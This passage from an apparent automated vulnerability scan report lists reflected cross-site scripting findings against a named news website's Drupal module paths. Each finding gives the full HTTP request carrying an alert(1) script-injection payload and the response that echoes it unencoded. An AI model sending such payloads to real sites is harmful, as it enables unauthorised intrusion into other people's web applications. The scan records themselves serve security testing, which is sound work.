GET /sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhoverae446"-alert(1)-"f8f65819ad1/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:09 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460309"
Content-Type: text/html; charset=utf-8
Content-Length: 57970
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:12 GMT
X-Varnish: 1038159855
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
rop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhoverae446"-alert(1)-"f8f65819ad1/views_slideshow.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.
...[SNIP]...

1.333. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 40dc4"-alert(1)-"52368891032 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js40dc4"-alert(1)-"52368891032?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:40 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460400"
Content-Type: text/html; charset=utf-8
Content-Length: 57969
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:41 GMT
X-Varnish: 1038162478
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
"Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js40dc4"-alert(1)-"52368891032";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.334. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js

Issue detail

The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2790"><script>alert(1)</script>88caf073035 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.jsa2790"><script>alert(1)</script>88caf073035?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:42 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460342"
Content-Type: text/html; charset=utf-8
Content-Length: 58189
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:46 GMT
X-Varnish: 1038160794
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.jsa2790"><script>alert(1)</script>88caf073035?h"/>
...[SNIP]...

1.335. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bd639"-alert(1)-"5052e67c228 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/allbd639"-alert(1)-"5052e67c228/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:54 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460174"
Content-Type: text/html; charset=utf-8
Content-Length: 57650
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:59 GMT
X-Varnish: 252446809
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/allbd639"-alert(1)-"5052e67c228/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops!
...[SNIP]...

1.336. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb1d2"><script>alert(1)</script>5975c773040 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/allbb1d2"><script>alert(1)</script>5975c773040/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:37 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460157"
Content-Type: text/html; charset=utf-8
Content-Length: 57870
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:39 GMT
X-Varnish: 252446460
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/allbb1d2"><script>alert(1)</script>5975c773040/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js?h"/>
...[SNIP]...

1.337. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cdcee"-alert(1)-"5ebd8237267 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modulescdcee"-alert(1)-"5ebd8237267/contrib/views_slideshow/js/jquery.cycle.all.min.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:36 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460216"
Content-Type: text/html; charset=utf-8
Content-Length: 57656
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:37 GMT
X-Varnish: 252447495
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modulescdcee"-alert(1)-"5ebd8237267/contrib/views_slideshow/js/jquery.cycle.all.min.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We could
...[SNIP]...

1.338. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0bbf"><script>alert(1)</script>6c1aae14043 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modulese0bbf"><script>alert(1)</script>6c1aae14043/contrib/views_slideshow/js/jquery.cycle.all.min.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:27 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460207"
Content-Type: text/html; charset=utf-8
Content-Length: 57875
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:28 GMT
X-Varnish: 252447377
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modulese0bbf"><script>alert(1)</script>6c1aae14043/contrib/views_slideshow/js/jquery.cycle.all.min.js?h"/>
...[SNIP]...

1.339. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fc39b"-alert(1)-"c59672f2f0b was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/views_slideshowfc39b"-alert(1)-"c59672f2f0b/js/jquery.cycle.all.min.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:16 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460316"
Content-Type: text/html; charset=utf-8
Content-Length: 57655
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:24 GMT
X-Varnish: 1038160049
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/views_slideshowfc39b"-alert(1)-"c59672f2f0b/js/jquery.cycle.all.min.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you re
...[SNIP]...

1.340. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 10eff"-alert(1)-"71b1d1b124e was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/views_slideshow/js10eff"-alert(1)-"71b1d1b124e/jquery.cycle.all.min.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:14 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460374"
Content-Type: text/html; charset=utf-8
Content-Length: 57655
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:24 GMT
X-Varnish: 1038161878
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
rop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/views_slideshow/js10eff"-alert(1)-"71b1d1b124e/jquery.cycle.all.min.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you reque
...[SNIP]...

1.341. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f46d0"><script>alert(1)</script>b0476c156df was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/views_slideshow/jsf46d0"><script>alert(1)</script>b0476c156df/jquery.cycle.all.min.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:57 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460357"
Content-Type: text/html; charset=utf-8
Content-Length: 57875
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:03 GMT
X-Varnish: 1038161383
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/views_slideshow/jsf46d0"><script>alert(1)</script>b0476c156df/jquery.cycle.all.min.js?h"/>
...[SNIP]...

1.342. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d3d17"-alert(1)-"2ccde97b89f was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/views_slideshow/js/d3d17"-alert(1)-"2ccde97b89f?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:51 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460411"
Content-Type: text/html; charset=utf-8
Content-Length: 57426
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:56 GMT
X-Varnish: 1038163011
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/views_slideshow/js/d3d17"-alert(1)-"2ccde97b89f";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.343. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2525"><script>alert(1)</script>f4548448bd was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/views_slideshow/js/b2525"><script>alert(1)</script>f4548448bd?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:40 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460400"
Content-Type: text/html; charset=utf-8
Content-Length: 57635
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:43 GMT
X-Varnish: 1038162486
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/views_slideshow/js/b2525"><script>alert(1)</script>f4548448bd?h"/>
...[SNIP]...

1.344. http://www.itworld.com/sites/all/modules/contrib/viewscarousel/jquery.jcarousel.pack.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/viewscarousel/jquery.jcarousel.pack.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8c61"><script>alert(1)</script>016ec953259 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

